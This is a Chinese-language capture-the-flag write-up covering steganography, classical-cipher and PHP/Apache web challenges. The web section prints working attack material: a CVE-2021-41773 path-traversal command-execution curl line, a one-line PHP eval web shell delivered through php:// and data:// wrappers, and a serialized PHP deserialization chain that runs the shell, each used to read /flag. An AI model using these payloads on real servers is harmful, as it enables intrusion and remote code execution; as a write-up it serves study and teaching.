by nebula
misc
misc1
下载附件得到一个 png。直接打开提示错误,用 010 Editor 打开发现里面全部为可见字符,疑似 base64。base64 解密后得到的文件用 010 Editor 打开发现文件头是 50 89 47 4E
,与 png 标准文件头 89 50 4E 47
很像,因此猜测调换所有的奇偶位。写脚本调换后可以看到一张图片。
此部分 payload 如下:
1 | import base64 |
得到的图片:
用 Stegsolve 1.3 打开图片,发现 RGB-0 Plane 疑似存在隐写信息,但是杂乱无章,结合图片中的信息,猜测是有秘钥的 LSB 隐写。百度“音乐的财富密码”得到 4536251,使用 cloacked-pixel 库即可解得 flag。
此部分 Payload:
1 | python3 lsb.py extract 1-result.png 2-result.txt 4536251 |
flag: flag{5cc0aa21208b517dbd0bde650247237f}
misc3
首先将文件后缀名改成 .jpg(打开 010 Editor 发现 JFIF)
题目中提到“最简单的隐写方式”,因此直接搬出 010 Editor, 果然发现了 Extra Chunk。将 Extra Chunk 导出,保存为 .zip 文件,提示打不开(文件末尾有额外信息),发现信息末尾有一串 7his_1s_p4s5w0rd
。因此去掉该字符串后,再打开 zip 文件,获得第二张 png。对第二张 png 使用 cloacked-pixel 库解密易得 flag,秘钥为 7his_1s_p4s5w0rd
。
此部分 Payload:
1 | python3 lsb.py extract 1-secret.png 2-result.txt 7his_1s_p4s5w0rd |
flag: flag{2e55f884-ef01-4654-87b1-cc3111800085}
crypto
crypto1
Misc1
在多次尝试后,最终发现将A视作 -
,B视作 .
,并进行莫斯电码解码可以得到英文文本。(利用CyberChef网站进行)
假设英文文本为简单单表代换加密,使用 quipquip 词频分析,成功得到flag
flag: flag{1d817f23-4e20-9405-bf6d-e83d055316d6}
crypto2
能在题目所给字符串的第 1, 3, 5, 7 位找到 F, L, A, G,因此猜测是栅栏密码。又盲猜 [
代表 {
, ]
代表 }
,因此写脚本暴力枚举得到一层解密结果:
1 | info = 'FvLFArGp[ovpxBpsssD]qCElwwoClsoColwpuvlqFv' |
此部分运行结果:
1 | Decode success: fence = 32, result = FLAG[vxpsDqCElwwoClsoColwpuvlqFvvFrpopBss] |
由于一般的 flag 开头为小写字母,且这里用了 [] 而不是 {},所以大胆猜测使用了类似 rot47 的加密。直接 rot47 解密发现不正确,猜测是自定义 offset 的解密。使用字符集:string.printable
中所有除了 '\t\n\r\v\f'
的字符(注意:包括空格在内),写脚本枚举可得到最终 flag。此部分 exp:
1 | printable = '' |
此部分运行结果:
1 | rot-32: flag{7914d2ce-880c-40c0-8167-2f77f3101b44} |
web
web1
签到题。百度 CVE-2021-41773 可以得到 exp:
1 | curl 'http://{ip}:{port}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;{command}' |
替换 {ip}, {port}
为题目下发的容器对应的值,并替换 {command}
为 cat /flag
可以得到 flag
1 | flag{628fe8bf-f252-4a23-b0a4-bc892488faaa} |
web2
php 伪协议题。在 index.php
页面发现注释,二次 base64 解密得到 cream.php
,访问可以得到要打的洞。
经过一些尝试可以发现,cream.php
没有任何的写入权限;但考虑到 fputs
不可能没有用,因此想到使用 php 伪协议,即 php://temp
存放临时数据。
通过这个,我们可以在 content 里面填入内容,即得到了任意代码执行权限。
为了绕过正则匹配,可以再次使用伪协议:使用 data://text/plain;base64,
协议可以使正则匹配失效,我们只需要将 payload base64 编码后填在末尾即可。
使用 payload: <?php eval($_POST['cmd']); ?>
并使用中国蚁剑链接(密码:cmd),进入虚拟终端,使用 cat /flag
即可获得 flag
1 | flag{75c3f578-8739-4242-9bbc-06262cfd7f7d} |
web3
php 反序列化题,pop 链。dirsearch 发现源码泄露(www.zip
)
查看 demo.php
容易分析得到一条 pop 链:Sliver -> Range(__toString) -> Water(__get) -> Circle(__invoke) -> Circle(runc)
所以写一段简单的 php 脚本执行序列化可以得到 exp:
1 | O:6:"Sliver":2:{s:6:"secret";O:5:"Range":2:{s:5:"horis";N;s:4:"link";O:5:"Water":1:{s:9:"waterfall";O:6:"Circle":2:{s:6:"daemon";N;s:7:"\00*\00dash";s:{length}:"{command}";}}}s:5:"resty";N;} |
其中 {length} 与 {command} 需要自己填入。
接着考虑绕过正则匹配。百度搜索 parse_url 可以发现绕过技巧,只需要在访问时增加几个斜杠即可。即:访问
1 | http://<容器链接>///demo.php |
将参数编码填入得到
1 | http://<容器链接>///demo.php?data=O%3A6%3A%22Sliver%22%3A2%3A%7Bs%3A6%3A%22secret%22%3BO%3A5%3A%22Range%22%3A2%3A%7Bs%3A5%3A%22horis%22%3BN%3Bs%3A4%3A%22link%22%3BO%3A5%3A%22Water%22%3A1%3A%7Bs%3A9%3A%22waterfall%22%3BO%3A6%3A%22Circle%22%3A2%3A%7Bs%3A6%3A%22daemon%22%3BN%3Bs%3A7%3A%22%00%2A%00dash%22%3Bs%3A20%3A%22eval%28%24_POST%5B%22cmd%22%5D%29%3B%22%3B%7D%7D%7Ds%3A5%3A%22resty%22%3BN%3B%7D |
使用中国蚁剑链接(密码:cmd),进入虚拟终端,使用 cat /flag
即可获得 flag
1 | flag{883f2e8a-a461-4326-8810-b5bd6b26c6b6} |